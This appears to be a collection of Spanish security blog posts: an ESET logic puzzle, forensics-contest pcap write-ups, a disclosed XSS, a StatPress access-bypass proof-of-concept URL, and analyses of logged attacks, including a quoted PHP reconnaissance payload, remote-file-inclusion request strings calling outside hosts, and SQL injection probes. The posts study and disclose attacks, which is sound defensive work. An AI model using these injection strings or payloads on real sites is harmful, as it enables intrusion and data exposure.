El reto 12 de ESET trata de hacer que dos robots colisionen en una linea infinita. Os invito a ver la descripción original en el sitio de ESET Latino América en http://blogs.eset-la.com/laboratorio/2010/05/22/desafio-12-eset/

El principal problema que tenemos es que la linea al ser infinita evita que si ambos robots van en la misma dirección puedan colisionar, por tanto lo primero que tenemos que hacer es pensar como podemos hacer para acotar la linea.

Como desconocemos si el otro robot está a izquierda o a derecha, tendremos que ir mirando a uno y otro lado para ver si encontramos la marca (de aceite) del robot que buscamos y así poder acotar el recorrido.
Para esto tenemos que hacer una busqueda primero hacia un lado y luego hacia otro, asta encontar las marcas. Y luego ir siempre por este camino.

Para esto vamos ha hacer "bibar" sobre la marca de aceite a los robots e iremos incrementando su recorrido.

IZQ - Mover a izquierda
DER - Mover a derecha
¿ACEITE? - Evitar la siguiente instrucción si existe aceite en donde estoy
GOTO - Ir a etiqueta

Code Pseudolenguaje:

F_CONT = 0
F_MOV = FALSE
CONT = 1
MODO = FALSE

IR:
	SI F_CONT > 0:
		CONT = F_CONT;
		MODO = F_MOV;

	PARA CONT:
		SI MODO:
			IZQ;
		SINO:
			DER;
	FINPARA

	¿ACEITE?
	GOTO VUELVE;
	GOTO FOUND;

FOUND:
	F_CONT = CONT;
	F_MOV = MODO;

VUELVE:
	MODO = !MODO;
	PARA CONT:
		SI MODO:
			IZQ;
		SINO:
			DER;
	FINPARA
	CONT = CONT + 1;
	GOTO IR;

Reto 2 de "forensicscontest.com"

En el segundo reto forense, vamos a buscar indicios que ayude a la policía a encontrar a un fugitivo (Ann).

Ann ha comunicado a su amante donde se va ha esconder. Para poder descubirlo tendremos que buscar la información que ha sido enviada por correo de Ann a su amante.

Las preguntas que tenemos que responder son:

1. ¿Cuál es la dirección de correo electrónico de Ann?
2. ¿Cuál es la contraseña de correo electrónico de Ann?
3. ¿Cuál es la dirección de correo electrónico del amante secreto de Ann?
4. ¿Qué dos elementos pide Ann a su amante secreto?
5. ¿Cuál es el nombre del archivo adjunto enviado Ann a su amante secreto?
6. ¿Cuál es la suma md5 del archivo adjunto enviado Ann a su amante secreto?
7. ¿En qué ciudad y país es su punto de encuentro?
8. ¿Cuál es la suma md5 de la imagen incrustada en el documento?

Dado que nuestra misión es interceptar un correo vamos a filtrar el trafico SMTP (Filtro [smpt]).
A continución vamos ver la primeta traza (Filtro [tcp.stream eq 2]).

En ella podemos ver que existe una conexión a un servicio de correo de "aol.com"

De esta trama destacaré:

EHLO annlaptop
...
AUTH LOGIN
334 VXNlcm5hbWU6
c25lYWt5ZzMza0Bhb2wuY29t
334 UGFzc3dvcmQ6
NTU4cjAwbHo=
235 AUTHENTICATION SUCCESSFUL
MAIL FROM: <sec558@gmail.com>
...

En este punto se puede ver como se autentica contra el servidor. El contenido se encuentra cifrado en Base64

EHLO annlaptop
...
AUTH LOGIN
334 Username:
sneakyg33k@aol.com
334 Password:
558r00lz
235 AUTHENTICATION SUCCESSFUL
MAIL FROM: <sec558@gmail.com>

Pero este primer mensaje no nos dá ninguna pista de su ubicación, por tanto vamos a por la siguiente trama interesante.

Podemos saver cuando se ha enviado otro correo por el saludo al servidor (Filtro [tcp.stream eq 3]).

En este mensaje, dirigido a "mistersecretx@aol.com" podemos ver que se hace referencia a un pasaporte y que se ha adjuntado un documento "secretrendezvous.docx"

Si abrimos el fichero docx podemos ver un mapa del sitio donde se piensan fugar.

Teniendo todos estos datos vamos a empezar a contestar las preguntas.

1. sneakyg33k@aol.com
2. 558r00lz
3. mistersecretx@aol.com
4. ... Bring your fake passport and a bathing suit. ...
5. secretrendezvous.docx
6. 9e423e11db88f01bbff81172839e1923
7. "Playa del Carmen, Mexico"
Para responder a la pregunta octaba podemos cambiar la extensión del fichero docx a zip y en la carpeta "word/media" la imagen que nos interesa.
8. aadeace50997b1ba24b09ac2ef1940b7

Fuente original (Ingles):
http://forensicscontest.com/2009/10/10/puzzle-2-ann-skips-bail

Network Security Monitoring

Este martes he estado asistiendo a unas jornadas en el Parte Tecnológico de Andalucía sobre seguridad.

La charla se dividía en dos partes; la primera sobre APT (Avanced Persistent Threats, nada que ver con la herramienta Linux) y la segundas sobre NSM (Network Security Monitoring).

Personalmente me ha gustado gratamente la charla sobre NSM, quizás porque tenía muy visto los ataques APT, dada la moda de este tipo de ataques y el boom de textos sobre este tema, tras los ataques a Google y otras empresas, sufridos supuestamente por China.

Bueno a lo que vamos.

En la jornada se vió un pequeño ejemplo sobre un reto realizado por el SANS, en concreto el siguiente: http://forensicscontest.com/2009/09/25/puzzle-1-anns-bad-aim.

En este reto nos dan un preludio y un fichero pcap con las tramas que nos interesan.

En este caso se trata de una empresa que cree que uno de sus empleados les ha robado su receta secreta. Además han detectado un acceso extraño por su red WiFi. Tu objetivo es resolver las siguientes preguntas:

1. ¿Cuál es el nombre del compañero de Ana de mensajería instantánea?
2. ¿Cuál fue el primer comentario en la conversación de mensajería instantánea capturada?
3. ¿Cuál es el nombre del archivo transferido Ann?
4. ¿Cuál es el número mágico del archivo que desea extraer (los cuatro primeros bytes)?
5. ¿Cuál fue la suma md5 del archivo?
6. ¿Cuál es la receta secreta?

Para realizar la primera parte de este ejercicio vamos a usar Wireshark.
Como sabemos la IP del implicado es 192.168.1.158. Podemos filtar para solo ver el contenido relacionado con el implicado (Filtro [ip.addr == 192.168.1.158]). Si seguimos el flujo de la primera traza TCP podemos ver la (Filtro [tcp.stream eq 2]) conversación. Esto nos resuelve varias dudas.

: Here's the secret recipe... I just downloaded it from the file server. Just copy to a thumb drive and you're good to go >:-)
: recipe.docx
Sec558user1: thanks dude
Sec558user1: can't wait to sell it on ebay
: see you in hawaii!

Con esta conversación ya savemos varias cosas.
1. Sec558user1
2. Here's the secret recipe... I just downloaded it from the file server. Just copy to a thumb drive and you're good to go >:-)
3. recipe.docx

Para responder a la cuarta pregunta tendremos que buscar cual es el número mágico de los ficheros docx.
4. 0x50 0x4B 0x03 0x04 en ASCII "PK"

Para obtener el fichero vamos a usar NetworkMiner.

5. 8350582774e1d4dbe1d61d64c89e0ea1
6. El contenido de la receta secreta os lo dejo averiguar a ustedes.

XSS en la web de trafico de RICA (Red informatica cientifica de andalucia)

Buscando un formación sobre las redes públicas españolas he podido descubrir un fallo leve de seguridad que ya ha sido notificado a los administradores del sitio.

El error era causado al no validar correctamente la variable "titulo", que se usa para escribir el título de las gráficas mostradas.

Os dejo una imagen sobre el fallo.

De Rollanwar

En el ejemplo se ha usado un iframe y un javascript para mostrar los impactos más importantes.

Una vez encontrado este fallo me puse en contacto con el quipo de seguridad de CICA quienes solucionaron el problema en dos "partes".

La primera solución, temporal, filtraba las comillas (', ") del título. Esto complica la escritura del XSS, pero no soluciona correctamente el problema.

Como no se filtra el código HTML y los navegadores son relajados para la interpretación de código HTML, se podría explotar linkando un JS externo y ejecutandolo el código escrito en la web.

Como observé que este primer filtro no solucionaba el problema, y como no había recibido contestación, me puse en contacto con ellos para conocer el estado de la incidencia y sugerirles usar el filtro 'htmlentities'.

Este post ha sido publicado tras recibir y confirmar que el fallo se encontraba solucionado.

TIMELINE:
18-04-2010: Descubierta
19-04-2010: Notificado y recibido la respuesta
20-04-2010: Solución temporal (No soluciona el problema del todo. Aún no he recibido notificación oficial)
23-04-2010: Me pongo en contacto de nuevo con ellos para confirmar que siguen con ello.
28-04-2010: Me confirman que están trabajando en ello.
30-04-2010: Me confirman la solución y publicación.

Examinando un ataque parado por SaveBot

Vamos a ver el último ataque que parado por SaveBot:

El atacante tenia la ip: 222.122.197.xxx y se conectó desde el puerto 33302.

El atacante procedía de Korea, de un hosting koreano con 114 hosting virtuales.

El User-Agent usado ha sido "libwww-perl/5.79", por lo que SaveBot lo ha detenido.

El ataque:

cat=5///vwar/backup/errors.php?error=http://xxxxxxxxxxx.com/images/kontol.txt?

El dominio está registrdo en Ucrania y el hosting (91.196.0.xxx) también se encuentra alli.

El contenido de "kontrol.txt" es:

<?php
function ConvertBytes($number) {
    $len = strlen($number);
    if($len < 4) {
        return sprintf("%d b", $number);
    }
    if($len >= 4 && $len <=6) {
        return sprintf("%0.2f Kb", $number/1024);
    }
    if($len >= 7 && $len <=9) {
        return sprintf("%0.2f Mb", $number/1024/1024);
    }
    return sprintf("%0.2f Gb", $number/1024/1024/1024);
}                          

echo "Coracore<br>";
$un = @php_uname();
$id1 = system(id);
$pwd1 = @getcwd();
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {
    $free = 0;
}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {
    $all = 0;
}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;

echo "Coracore<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "id: $id1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;

El resultado mostraría algo así:

Coracore
Coracore
uname -a: @php_uname();
os: @PHP_OS;
id: system(id)
free: diskfreespace(@getcwd())
used: ConvertBytes($all1-$free1)
total: disk_total_space(@getcwd())

Este ataque permite mostrar los datos del servidor facilitando un futuro ataque.

Primeros ataques del año, esta vez RFI

Como ya ocurriera en el post "Primeros ataques, siguiendo el rastro", recientemente he revisado mis log y he detectado varios ataque automatizados. En esta ocasión solo buscaban fallos RFI (remote file include).

El día 2010/03/19 a las 16:52:15 desde 95.110.224.XXX (Italia)
Petición: “?p=153//errors.php?error=www.xxxxxxxxxxx.or.kr/id?″
User-Agent: libwww-perl/5.805
Intentaba incluir un código alojado en una web coreana con IP 211.202.2.XXX

El día 2010/03/12 a las 03:00:35 desde 187.40.43.XXX (Brasil)
Petición: “?p=http://www.xxxxxxxxxxx.net/id.txt??″
User-Agent: Mozilla/3.0 (compatible; Indy Library)
Intentaba incluir un código alojado en una web italiana con IP 213.217.147.XXX

El día 2010/03/07 a las 22:00:13 desde 64.186.137.XXX (EEUU)
Petición: “?p=ftp://xxxuserxxx:xxxpassxxx@ftp.xxxxxxxxxxx.com.br/SenderMail.php?″
User-Agent: Mozilla/3.0 (compatible; Indy Library)
Intentaba incluir un código alojado en un ftp brasileño con IP 200.149.77.XXX, claro para poder acceder deja su usuario y clave.

Solo uno de estos ataques ha sido "parado" por mi herramienta Save Bot, dado que no estaba incorporada la "firma" para ese user-agent (Indy Library).

Ya la he añadido en mi beta personal y la nueva versión estará proximamente disponible.

Salto de resticciones en Statpress

Recientemente he descubierto un fallo en el plugins de wordpress 'statpress'.

El error es causado por el modo en le que este plugin realiza la acción de exportar. El manejador no comprueba correctamente los permisos del usuario que llama ha esta acción. Esto permitiría a un atacante no autenticado obtener los datos de las estadisticas.

Dado el comportamiento del manejador, la acción de exportar se realiza durante la importación del plugin; dado que statpress realiza el las estadisticas durante la etapa de 'wp-head' esta acción no queda reflejada en las estadisticas.

El fallo se soluciona creando una acción en la etapa de 'init' de Wordpress (antes de enviar las cabeceras) haciendo que se llame a un evento apropiad.

Este error no se puede explotar si el plugins no esta activo.

Prueba de concepto

site.com?statpress_action=exportnow&from=FECHA&to=FECHA&del=SEPARADOR

Parche sugerido:

add_action('init', 'iri_checkExport');
function iri_checkExport(){
 if ($_GET['statpress_action'] == 'exportnow') {
  $mincap=get_option('statpress_mincap');
  if ($mincap == '')
   $mincap = "level_8";
  if ( current_user_can( $mincap ) )
   iriStatPressExportNow();
 }
}

TIMELINE:
04-12-2009: Descubierta
06-12-2009: Creda posible solución
11-12-2009: Notificado
12-12-2009: Recibido comunicado de que lo solucionarán
13-12-2009: Se inserta el fix pero no se borra el error, Notificado
18-12-2009: Solución final publica

Primeros ataques, siguiendo el rastro

He estado haciendo una revisión de los log del sistema y he encontrado unos que he recibido unos cuantos ataques.

A continución he realizado una pequeña investigación sobre los incidentes.

Los ataques que he detectado han sido de dos tipos.

• 
  

  Inyecciones SQL:

  
  El día 2009/10/18 a las 21:14:52 desde 209.208.106.XXX (EEUU)
  Petición: "?m=1+order+by+87652--&hello="
  User-Agent: DataCha0s/2.0
  En la petición podemos ver como se intenta modificar la petición SQL realizando una ordenación, el parámetro hello es una incógnita para mi, pero se iguala a el valor NULL.
  Si usamos un Whois podremos ver que esta IP pertenece a un servidor.
  
  El día 2009/11/04 a las 00:39:44 desde 128.59.66.XXX (EEUU)
  Petición: "p=1+order+by+100--&jhfas="
  User-Agent: DataCha0s/2.0
  Este es un ataque similar, que se realiza desde una IP de la universidad de columbia en EEUU.


• 
  

  Remote File Inclusion:

  
  El día 2009/11/21 a las 17:09:46 y 17:09:48 y el día 2009/11/25 a las 08:45:04 y 08:45:05 desde 213.180.89.XX (Suecia)
  Petición: "p=http://www.xxxxxxx.hu//img/lightbox/id.txt???"
  User-Agent: libwww-perl/5.79
  Este es un intento de incluir y ejecutar en mi servidor el código que se encuentra en el sitio vulnerado. El ataque partió desde un servidor multidominio.
  
  El día 2009/11/24 a las 23:40:31 y 23:40:33 desde 80.249.173.XXX (Hungría)
  Petición: "p=http://www.xxxxxxx.hu//img/lightbox/id.txt???"
  User-Agent: libwww-perl/5.805
  Similar al anterior desde otra IP. También es desde una IP de un servidor.

Con los datos obtenidos de la IP he podido saber su ubicación general, esta información de posicionamiento es un tanto mala con lo que solo he decidido poner el país ya que poner más seria errar en la ubicación casi con toda seguridad. Dado que son servidores y que por tanto no pertenecen a un ISP "normal" de internet, tendríamos que rastrear en los log de los servidores para saber como partió la petición hacia nuestro servidor, que seguramente fuera un bot en el equipo.

En el caso de haber sido usado como proxy tendríamos que buscar a quien estaba "bypasseando" y preguntar a su ISP, si estuvieran varios proxys en cascada esta labor puede ser casi imposible, ya que si en algún sistema no hubiera los suficientes log el rastro se habría perdido.

Con estos datos obtenidos es fácil ver que el User-Agent son peculiares. En el caso de los SQL inyection y genérico de la librería de perl en los otros casos. Esto nos hace pensar que el ataque ha sido realizado de forma automática.

No creo que haga falta decir que estos ataques no han hecho nada ya que Wordpress no tiene este problema de seguridad.

Tras este pequeño altercado he pensado desarrollar un pequeño plugin para Wordpress que cuando reciba una petición obtenga el User-Agent y si es reconocido como un posible atacante de un 404 y no procese nada.

Más información:
http://www.user-agents.org/allagents.xml